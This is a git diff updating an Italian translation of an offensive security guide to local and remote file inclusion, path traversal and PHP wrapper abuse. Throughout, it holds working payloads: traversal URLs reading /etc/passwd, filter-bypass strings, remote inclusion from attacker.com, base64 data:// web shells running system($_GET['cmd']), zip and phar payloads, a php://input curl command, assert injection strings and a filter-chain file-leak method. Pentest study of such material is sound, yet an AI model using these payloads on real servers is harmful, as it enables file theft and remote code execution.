@ -84,38 +84,38 @@ Forse il back-end sta controllando il percorso della cartella:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Esplorare le Directory del File System su un Server
|
||||
### Esplorare le directory del file system su un server
|
||||
|
||||
Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando determinate tecniche. Questo processo implica la determinazione della profondità della directory e la ricerca dell'esistenza di cartelle specifiche. Di seguito è riportato un metodo dettagliato per raggiungere questo obiettivo:
|
||||
Il file system di un server può essere esplorato ricorsivamente per individuare directory, non solo file, usando determinate tecniche. Il processo prevede la determinazione della profondità delle directory e la verifica dell'esistenza di cartelle specifiche. Di seguito un metodo dettagliato per farlo:
|
||||
|
||||
1. **Determinare la Profondità della Directory:** Accertati della profondità della tua directory attuale recuperando con successo il file `/etc/passwd` (applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre:
|
||||
1. **Determinare la profondità delle directory:** Accerta la profondità della directory corrente recuperando con successo il file `/etc/passwd` (applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Indaga per Cartelle:** Aggiungi il nome della cartella sospetta (ad esempio, `private`) all'URL, quindi naviga di nuovo a `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
|
||||
2. **Probe for Folders:** Aggiungi il nome della cartella sospetta (ad es., `private`) all'URL, quindi torna a navigare verso `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Interpretare i Risultati:** La risposta del server indica se la cartella esiste:
|
||||
- **Errore / Nessun Output:** La cartella `private` probabilmente non esiste nella posizione specificata.
|
||||
- **Contenuti di `/etc/passwd`:** La presenza della cartella `private` è confermata.
|
||||
4. **Esplorazione Ricorsiva:** Le cartelle scoperte possono essere ulteriormente esplorate per sottodirectory o file utilizzando la stessa tecnica o metodi tradizionali di Local File Inclusion (LFI).
|
||||
3. **Interpretare i risultati:** La risposta del server indica se la cartella esiste:
|
||||
- **Errore / Nessun output:** La cartella `private` probabilmente non esiste nella posizione specificata.
|
||||
- **Contenuto di `/etc/passwd`:** La presenza della cartella `private` è confermata.
|
||||
4. **Esplorazione ricorsiva:** Le cartelle scoperte possono essere ulteriormente esplorate per sottodirectory o file usando la stessa tecnica o i tradizionali metodi di Local File Inclusion (LFI).
|
||||
|
||||
Per esplorare directory in diverse posizioni nel file system, regola il payload di conseguenza. Ad esempio, per controllare se `/var/www/` contiene una directory `private` (supponendo che la directory corrente sia a una profondità di 3), usa:
|
||||
Per esplorare directory in posizioni diverse del file system, regola il payload di conseguenza. Ad esempio, per verificare se `/var/www/` contiene una directory `private` (assumendo che la directory corrente sia a una profondità di 3), usa:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Tecnica di Troncamento del Percorso**
|
||||
### **Path Truncation Technique**
|
||||
|
||||
Il troncamento del percorso è un metodo impiegato per manipolare i percorsi dei file nelle applicazioni web. Viene spesso utilizzato per accedere a file riservati bypassando alcune misure di sicurezza che aggiungono caratteri aggiuntivi alla fine dei percorsi dei file. L'obiettivo è creare un percorso di file che, una volta alterato dalla misura di sicurezza, punti ancora al file desiderato.
|
||||
Path truncation è un metodo impiegato per manipolare i percorsi dei file nelle applicazioni web. Viene spesso usato per accedere a file restritti bypassando certe misure di sicurezza che aggiungono caratteri extra alla fine dei percorsi dei file. L'obiettivo è costruire un percorso file che, una volta alterato dalla misura di sicurezza, punti comunque al file desiderato.
|
||||
|
||||
In PHP, varie rappresentazioni di un percorso di file possono essere considerate equivalenti a causa della natura del file system. Ad esempio:
|
||||
In PHP, diverse rappresentazioni di un percorso file possono essere considerate equivalenti a causa della natura del file system. Per esempio:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` e `/etc/passwd/` sono tutti trattati come lo stesso percorso.
|
||||
- Quando gli ultimi 6 caratteri sono `passwd`, aggiungere un `/` (rendendolo `passwd/`) non cambia il file mirato.
|
||||
- Allo stesso modo, se `.php` viene aggiunto a un percorso di file (come `shellcode.php`), aggiungere un `/.` alla fine non altererà il file a cui si accede.
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` sono trattati tutti come lo stesso percorso.
|
||||
- Quando gli ultimi 6 caratteri sono `passwd`, aggiungere una `/` (facendolo diventare `passwd/`) non cambia il file di destinazione.
|
||||
- Allo stesso modo, se viene aggiunto `.php` a un percorso file (come `shellcode.php`), aggiungere `/.` alla fine non altera il file a cui si accede.
|
||||
|
||||
Gli esempi forniti dimostrano come utilizzare il troncamento del percorso per accedere a `/etc/passwd`, un obiettivo comune a causa del suo contenuto sensibile (informazioni sugli account utente):
|
||||
Gli esempi forniti mostrano come utilizzare path truncation per accedere a `/etc/passwd`, un bersaglio comune a causa del suo contenuto sensibile (informazioni sugli account utente):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
In questi scenari, il numero di traversate necessarie potrebbe essere intorno al 2027, ma questo numero può variare in base alla configurazione del server.
|
||||
In questi scenari, il numero di traversals necessari potrebbe essere circa 2027, ma questo numero può variare in base alla configurazione del server.
|
||||
|
||||
- **Utilizzo di Segmenti di Punto e Caratteri Aggiuntivi**: Le sequenze di traversata (`../`) combinate con segmenti di punto extra e caratteri possono essere utilizzate per navigare nel file system, ignorando efficacemente le stringhe aggiunte dal server.
|
||||
- **Determinazione del Numero Richiesto di Traversate**: Attraverso tentativi ed errori, si può trovare il numero preciso di sequenze `../` necessarie per navigare fino alla directory radice e poi a `/etc/passwd`, assicurandosi che eventuali stringhe aggiunte (come `.php`) siano neutralizzate ma il percorso desiderato (`/etc/passwd`) rimanga intatto.
|
||||
- **Inizio con una Directory Fittizia**: È una pratica comune iniziare il percorso con una directory inesistente (come `a/`). Questa tecnica viene utilizzata come misura precauzionale o per soddisfare i requisiti della logica di parsing del percorso del server.
|
||||
- **Using Dot Segments and Additional Characters**: Le traversal sequences (`../`) combinate con segmenti puntati aggiuntivi e caratteri possono essere utilizzate per navigare il file system, ignorando effettivamente le stringhe aggiunte dal server.
|
||||
- **Determining the Required Number of Traversals**: Tramite tentativi ed errori, si può trovare il numero preciso di `../` necessari per raggiungere la root e poi `/etc/passwd`, assicurando che eventuali stringhe aggiunte (come `.php`) vengano neutralizzate ma il path desiderato (`/etc/passwd`) rimanga intatto.
|
||||
- **Starting with a Fake Directory**: È pratica comune iniziare il path con una directory inesistente (come `a/`). Questa tecnica viene usata come misura precauzionale o per soddisfare i requisiti della path parsing logic del server.
|
||||
|
||||
Quando si impiegano tecniche di troncamento del percorso, è fondamentale comprendere il comportamento di parsing del percorso del server e la struttura del file system. Ogni scenario potrebbe richiedere un approccio diverso, e spesso è necessario testare per trovare il metodo più efficace.
|
||||
Quando si impiegano tecniche di path truncation, è cruciale comprendere il comportamento di path parsing del server e la struttura del filesystem. Ogni scenario potrebbe richiedere un approccio diverso, e spesso è necessario testare per trovare il metodo più efficace.
|
||||
|
||||
**Questa vulnerabilità è stata corretta in PHP 5.3.**
|
||||
**This vulnerability was corrected in PHP 5.3.**
|
||||
|
||||
### **Trucchi per bypassare i filtri**
|
||||
### **Filter bypass tricks**
|
||||
```
|
||||
http://example.com/index.php?page=....//....//etc/passwd
|
||||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||
@ -145,25 +145,25 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
In php questo è disabilitato per impostazione predefinita perché **`allow_url_include`** è **Off.** Deve essere **On** affinché funzioni, e in quel caso potresti includere un file PHP dal tuo server e ottenere RCE:
|
||||
In php questo è disabilitato per impostazione predefinita perché **`allow_url_include`** è **Off.** Deve essere **On** perché funzioni, e in quel caso potresti includere un file PHP dal tuo server e ottenere RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Se per qualche motivo **`allow_url_include`** è **On**, ma PHP sta **filtrando** l'accesso a pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), potresti usare ad esempio il protocollo data con base64 per decodificare un codice PHP b64 e ottenere RCE:
|
||||
Se per qualche motivo **`allow_url_include`** è **On**, ma PHP sta **filtrando** l'accesso a pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), puoi usare per esempio il data protocol con base64 per decodificare un codice PHP in b64 e ottenere RCE:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> Nel codice precedente, il finale `+.txt` è stato aggiunto perché l'attaccante aveva bisogno di una stringa che terminasse con `.txt`, quindi la stringa termina con essa e dopo la decodifica b64 quella parte restituirà solo spazzatura e il vero codice PHP sarà incluso (e quindi, eseguito).
|
||||
> Nel codice precedente, il finale `+.txt` è stato aggiunto perché l'attaccante aveva bisogno di una stringa che terminasse con `.txt`, quindi la stringa finisce con esso e dopo la decodifica b64 quella parte restituirà solo spazzatura e il vero codice PHP verrà incluso (e quindi eseguito).
|
||||
|
||||
Un altro esempio **che non utilizza il protocollo `php://`** sarebbe:
|
||||
Another example **not using the `php://` protocol** would be:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Python Root element
|
||||
## Python elemento root
|
||||
|
||||
In python in a code like this one:
|
||||
In Python, in un codice come il seguente:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
@ -177,13 +177,13 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
|
||||
> Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e l'unione continua dal componente del percorso assoluto.
|
||||
|
||||
## Java Elenca Directory
|
||||
## Java - Elenco directory
|
||||
|
||||
Sembra che se hai un Path Traversal in Java e **richiedi una directory** invece di un file, **viene restituita un'elenco della directory**. Questo non accadrà in altre lingue (per quanto ne so).
|
||||
Sembra che se hai un Path Traversal in Java e **richiedi una directory** invece di un file, venga restituito **l'elenco della directory**. Questo non succede in altri linguaggi (per quanto ne so).
|
||||
|
||||
## Top 25 parametri
|
||||
|
||||
Ecco un elenco dei 25 parametri principali che potrebbero essere vulnerabili a vulnerabilità di inclusione di file locali (LFI) (da [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Ecco una lista dei 25 parametri principali che potrebbero essere vulnerabili a local file inclusion (LFI) vulnerabilities (da [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -211,11 +211,11 @@ Ecco un elenco dei 25 parametri principali che potrebbero essere vulnerabili a v
|
||||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## LFI / RFI utilizzando wrapper e protocolli PHP
|
||||
## LFI / RFI using PHP wrappers & protocols
|
||||
|
||||
### php://filter
|
||||
|
||||
I filtri PHP consentono di eseguire operazioni di **modifica sui dati** prima che vengano letti o scritti. Ci sono 5 categorie di filtri:
|
||||
PHP filters permettono di eseguire operazioni di base di **modifica sui dati** prima che vengano letti o scritti. Ci sono 5 categorie di filtri:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
@ -228,21 +228,21 @@ I filtri PHP consentono di eseguire operazioni di **modifica sui dati** prima ch
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : Trasforma in una codifica diversa (`convert.iconv.<input_enc>.<output_enc>`). Per ottenere la **lista di tutte le codifiche** supportate esegui nel terminale: `iconv -l`
|
||||
- `convert.iconv.*` : Trasforma in una codifica differente (`convert.iconv.<input_enc>.<output_enc>`). Per ottenere la **lista di tutte le codifiche** supportate esegui in console: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, che potrebbe essere utile per scrivere testo arbitrario o per creare una funzione come include che processa testo arbitrario. Per ulteriori informazioni controlla [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, cosa che può essere utile per scrivere testo arbitrario o far sì che una funzione come include processi testo arbitrario. Per maggiori informazioni vedi [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Comprimi il contenuto (utile se si esfiltrano molte informazioni)
|
||||
- `zlib.inflate`: Decomprime i dati
|
||||
- `zlib.deflate`: Comprimi il contenuto (utile se esfiltrando molte informazioni)
|
||||
- `zlib.inflate`: Decomprimi i dati
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : Obsoleto
|
||||
- `mdecrypt.*` : Obsoleto
|
||||
- Altri Filtri
|
||||
- `mcrypt.*` : Deprecato
|
||||
- `mdecrypt.*` : Deprecato
|
||||
- Other Filters
|
||||
- Eseguendo in php `var_dump(stream_get_filters());` puoi trovare un paio di **filtri inaspettati**:
|
||||
- `consumed`
|
||||
- `dechunk`: inverte la codifica HTTP chunked
|
||||
- `dechunk`: inverte l'encoding HTTP chunked
|
||||
- `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
> [!WARNING]
|
||||
> La parte "php://filter" è case insensitive
|
||||
> La parte "php://filter" non è case sensitive
|
||||
|
||||
### Utilizzare i filtri php come oracolo per leggere file arbitrari
|
||||
### Usare php filters come oracle per leggere file arbitrari
|
||||
|
||||
[**In questo post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) viene proposta una tecnica per leggere un file locale senza avere l'output restituito dal server. Questa tecnica si basa su una **esfiltrazione booleana del file (carattere per carattere) utilizzando i filtri php** come oracolo. Questo perché i filtri php possono essere utilizzati per rendere un testo abbastanza grande da far sì che php generi un'eccezione.
|
||||
[**In questo post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) viene proposta una tecnica per leggere un file locale senza ottenere l'output restituito dal server. Questa tecnica si basa su una **boolean exfiltration of the file (char by char) using php filters** come oracle. Questo perché i php filters possono essere usati per rendere un testo abbastanza grande da far scattare un'eccezione in php.
|
||||
|
||||
Nel post originale puoi trovare una spiegazione dettagliata della tecnica, ma ecco un rapido riassunto:
|
||||
Nel post originale si trova una spiegazione dettagliata della tecnica, qui invece un riassunto veloce:
|
||||
|
||||
- Utilizza il codec **`UCS-4LE`** per lasciare il carattere iniziale del testo all'inizio e far aumentare esponenzialmente la dimensione della stringa.
|
||||
- Questo sarà utilizzato per generare un **testo così grande quando la lettera iniziale è indovinata correttamente** che php attiverà un **errore**.
|
||||
- Il filtro **dechunk** **rimuoverà tutto se il primo carattere non è esadecimale**, quindi possiamo sapere se il primo carattere è esadecimale.
|
||||
- Questo, combinato con il precedente (e altri filtri a seconda della lettera indovinata), ci permetterà di indovinare una lettera all'inizio del testo vedendo quando facciamo abbastanza trasformazioni per far sì che non sia un carattere esadecimale. Perché se è esadecimale, dechunk non lo eliminerà e la bomba iniziale farà generare un errore a php.
|
||||
- Il codec **convert.iconv.UNICODE.CP930** trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una `a`, ad esempio, perché se applichiamo 6 di questo codec a->b->c->d->e->f->g la lettera non è più un carattere esadecimale, quindi dechunk non l'ha eliminata e l'errore php viene attivato perché si moltiplica con la bomba iniziale.
|
||||
- Utilizzando altre trasformazioni come **rot13** all'inizio è possibile esfiltrare altri caratteri come n, o, p, q, r (e altri codec possono essere utilizzati per spostare altre lettere nell'intervallo esadecimale).
|
||||
- Quando il carattere iniziale è un numero è necessario codificarlo in base64 e esfiltrare le prime 2 lettere per esfiltrare il numero.
|
||||
- Il problema finale è vedere **come esfiltrare più della lettera iniziale**. Utilizzando filtri di memoria ordinata come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei caratteri e ottenere in prima posizione altre lettere del testo.
|
||||
- E per poter ottenere **ulteriori dati** l'idea è di **generare 2 byte di dati spazzatura all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farlo **pivotare con i successivi 2 byte**, e **eliminare i dati fino ai dati spazzatura** (questo rimuoverà i primi 2 byte del testo iniziale). Continua a farlo fino a raggiungere il bit desiderato da esfiltrare.
|
||||
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
|
||||
- Questo verrà usato per generare un **text so big when the initial letter is guessed correctly** che php scarterà con un **error**
|
||||
- Il filter **dechunk** **rimuoverà tutto se il primo char non è un hexadecimal**, quindi possiamo sapere se il primo char è hex.
|
||||
- Questo, combinato con il precedente (e altri filters a seconda della lettera indovinata), ci permetterà di indovinare una lettera all'inizio del testo osservando quando, applicando abbastanza trasformazioni, essa non è più un hexadecimal character. Perché se è hex, dechunk non la cancellerà e la bomba iniziale farà scattare l'error di php.
|
||||
- Il codec **convert.iconv.UNICODE.CP930** trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una `a`, per esempio, perché se applichiamo 6 volte questo codec a->b->c->d->e->f->g la lettera non è più un carattere hexadecimal, quindi dechunk non la elimina e l'error php viene triggerato perché si moltiplica con la bomba iniziale.
|
||||
- Usando altre trasformazioni come **rot13** all'inizio è possibile leakare altri caratteri come n, o, p, q, r (e altri codec possono essere usati per spostare altre lettere nell'intervallo hex).
|
||||
- Quando il carattere iniziale è un numero è necessario codificarlo in base64 e leakare le prime 2 lettere per leakare il numero.
|
||||
- Il problema finale è capire **how to leak more than the initial letter**. Usando order memory filters come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei chars e portare in prima posizione altre lettere del testo.
|
||||
- E per poter ottenere **further data** l'idea è **generare 2 bytes of junk data at the beginning** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farli **pivot with the next 2 bytes**, e d**elete the data until the junk data** (questo rimuoverà i primi 2 bytes del testo iniziale). Continuare così fino a raggiungere il bit desiderato da leakare.
|
||||
|
||||
Nel post è stata anche esfiltrata una tool per eseguire questo automaticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
Nel post è stato anche pubblicato uno strumento per eseguire questo automaticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Questo wrapper consente di accedere ai descrittori di file che il processo ha aperti. Potenzialmente utile per esfiltrare il contenuto dei file aperti:
|
||||
Questo wrapper permette di accedere ai file descriptors che il processo ha aperti. Potenzialmente utile per exfiltrate il contenuto di file aperti:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
Puoi anche usare **php://stdin, php://stdout e php://stderr** per accedere ai **file descriptor 0, 1 e 2** rispettivamente (non sono sicuro di come questo possa essere utile in un attacco)
|
||||
Puoi anche usare **php://stdin, php://stdout e php://stderr** per accedere ai **descrittori di file 0, 1 e 2** rispettivamente (non sono sicuro di come questo possa essere utile in un attacco)
|
||||
|
||||
### zip:// e rar://
|
||||
### zip:// and rar://
|
||||
|
||||
Carica un file Zip o Rar con un PHPShell all'interno e accedilo.\
|
||||
Per poter abusare del protocollo rar, **deve essere attivato specificamente**.
|
||||
Carica un file Zip o Rar con una PHPShell all'interno e accedervi.\
|
||||
Per poter sfruttare il protocollo rar, esso **deve essere specificamente attivato**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -328,7 +328,7 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
||||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
Nota che questo protocollo è limitato dalle configurazioni php **`allow_url_open`** e **`allow_url_include`**
|
||||
Nota che questo protocollo è limitato dalle configurazioni PHP **`allow_url_open`** e **`allow_url_include`**
|
||||
|
||||
### expect://
|
||||
|
||||
@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
|
||||
```
|
||||
### phar://
|
||||
|
||||
Un file `.phar` può essere utilizzato per eseguire codice PHP quando un'applicazione web sfrutta funzioni come `include` per il caricamento dei file. Il frammento di codice PHP fornito di seguito dimostra la creazione di un file `.phar`:
|
||||
Un file `.phar` può essere utilizzato per eseguire codice PHP quando un'applicazione web usa funzioni come `include` per il caricamento di file. Lo snippet di codice PHP riportato sotto dimostra la creazione di un file `.phar`:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -354,15 +354,15 @@ $phar->addFromString('test.txt', 'text');
|
||||
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
Per compilare il file `.phar`, il seguente comando deve essere eseguito:
|
||||
Per compilare il file `.phar`, eseguire il seguente comando:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
Al momento dell'esecuzione, verrà creato un file chiamato `test.phar`, che potrebbe essere sfruttato per sfruttare vulnerabilità di Local File Inclusion (LFI).
|
||||
Alla sua esecuzione, verrà creato un file chiamato `test.phar`, che potrebbe essere utilizzato per sfruttare vulnerabilità di Local File Inclusion (LFI).
|
||||
|
||||
Nei casi in cui l'LFI esegue solo la lettura dei file senza eseguire il codice PHP al suo interno, attraverso funzioni come `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, potrebbe essere tentato lo sfruttamento di una vulnerabilità di deserializzazione. Questa vulnerabilità è associata alla lettura di file utilizzando il protocollo `phar`.
|
||||
Nei casi in cui la LFI effettua solo la lettura dei file senza eseguire il codice PHP al loro interno, tramite funzioni come `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, è possibile tentare lo sfruttamento di una vulnerabilità di deserializzazione. Questa vulnerabilità è associata alla lettura di file usando il protocollo `phar`.
|
||||
|
||||
Per una comprensione dettagliata dello sfruttamento delle vulnerabilità di deserializzazione nel contesto dei file `.phar`, fare riferimento al documento collegato qui sotto:
|
||||
Per una comprensione dettagliata dello sfruttamento di vulnerabilità di deserializzazione nel contesto dei file `.phar`, consultare il documento collegato qui sotto:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
@ -373,32 +373,32 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
È stato possibile abusare di **qualsiasi file arbitrario letto da PHP che supporta i filtri php** per ottenere un RCE. La descrizione dettagliata può essere [**trovata in questo post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Riepilogo molto rapido: un **overflow di 3 byte** nell'heap di PHP è stato abusato per **modificare la catena di chunk liberi** di una dimensione specifica al fine di poter **scrivere qualsiasi cosa in qualsiasi indirizzo**, quindi è stato aggiunto un hook per chiamare **`system`**.\
|
||||
È stato possibile allocare chunk di dimensioni specifiche abusando di più filtri php.
|
||||
È stato possibile sfruttare **qualsiasi lettura di file arbitraria da PHP che supporta php filters** per ottenere una RCE. La descrizione dettagliata può essere [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Breve riassunto: un **overflow di 3 byte** nell'heap di PHP è stato sfruttato per **alterare la catena dei chunk liberi** di una specifica dimensione al fine di poter **scrivere qualsiasi cosa in qualsiasi indirizzo**, quindi è stato aggiunto un hook per chiamare **`system`**.\
|
||||
È stato possibile allocare chunk di dimensioni specifiche abusando di ulteriori php filters.
|
||||
|
||||
### More protocols
|
||||
|
||||
Controlla più possibili [**protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
Consulta altri possibili[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Scrivi in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un attacco di inclusione di file)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Scrive in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un file inclusion attack)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accesso al filesystem locale
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accesso a URL HTTP(s)
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accesso a URL FTP(s)
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Stream di compressione
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trova nomi di percorso che corrispondono a un modello (non restituisce nulla di stampabile, quindi non è davvero utile qui)
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trova pathname corrispondenti al pattern (Non restituisce nulla di stampabile, quindi non è molto utile qui)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Stream audio (non utile per leggere file arbitrari)
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Stream audio (Non utile per leggere file arbitrari)
|
||||
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
I rischi di Local File Inclusion (LFI) in PHP sono notevolmente elevati quando si tratta della funzione 'assert', che può eseguire codice all'interno delle stringhe. Questo è particolarmente problematico se l'input contenente caratteri di traversamento delle directory come ".." viene controllato ma non correttamente sanificato.
|
||||
I rischi di Local File Inclusion (LFI) in PHP sono particolarmente elevati quando si ha a che fare con la funzione 'assert', che può eseguire codice presente in stringhe. Questo è particolarmente problematico se l'input che contiene caratteri di directory traversal come ".." viene controllato ma non correttamente sanitizzato.
|
||||
|
||||
Ad esempio, il codice PHP potrebbe essere progettato per prevenire il traversamento delle directory in questo modo:
|
||||
Ad esempio, del codice PHP potrebbe essere progettato per prevenire il directory traversal in questo modo:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Sebbene questo miri a fermare la traversata, crea involontariamente un vettore per l'iniezione di codice. Per sfruttare questo per leggere i contenuti dei file, un attaccante potrebbe utilizzare:
|
||||
Sebbene ciò miri a impedire la traversal, crea involontariamente un vettore per code injection. Per sfruttarlo per leggere il contenuto dei file, un attaccante potrebbe usare:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
@ -406,43 +406,43 @@ Allo stesso modo, per eseguire comandi di sistema arbitrari, si potrebbe usare:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
È importante **URL-encoded questi payload**.
|
||||
È importante **URL-encode these payloads**.
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Questa tecnica è rilevante nei casi in cui **controlli** il **percorso del file** di una **funzione PHP** che **accederà a un file** ma non vedrai il contenuto del file (come una semplice chiamata a **`file()`**) ma il contenuto non è mostrato.
|
||||
> Questa tecnica è rilevante nei casi in cui tu **controlli** il **percorso del file** di una **funzione PHP** che **accéderà a un file** ma non vedrai il contenuto del file (come una semplice chiamata a **`file()`**) perché il contenuto non viene mostrato.
|
||||
|
||||
In [**questo incredibile post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) viene spiegato come un blind path traversal può essere abusato tramite un filtro PHP per **esfiltrare il contenuto di un file tramite un errore oracle**.
|
||||
In [**questo incredibile post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) viene spiegato come un blind path traversal possa essere abusato via PHP filter per **exfiltrate the content of a file via an error oracle**.
|
||||
|
||||
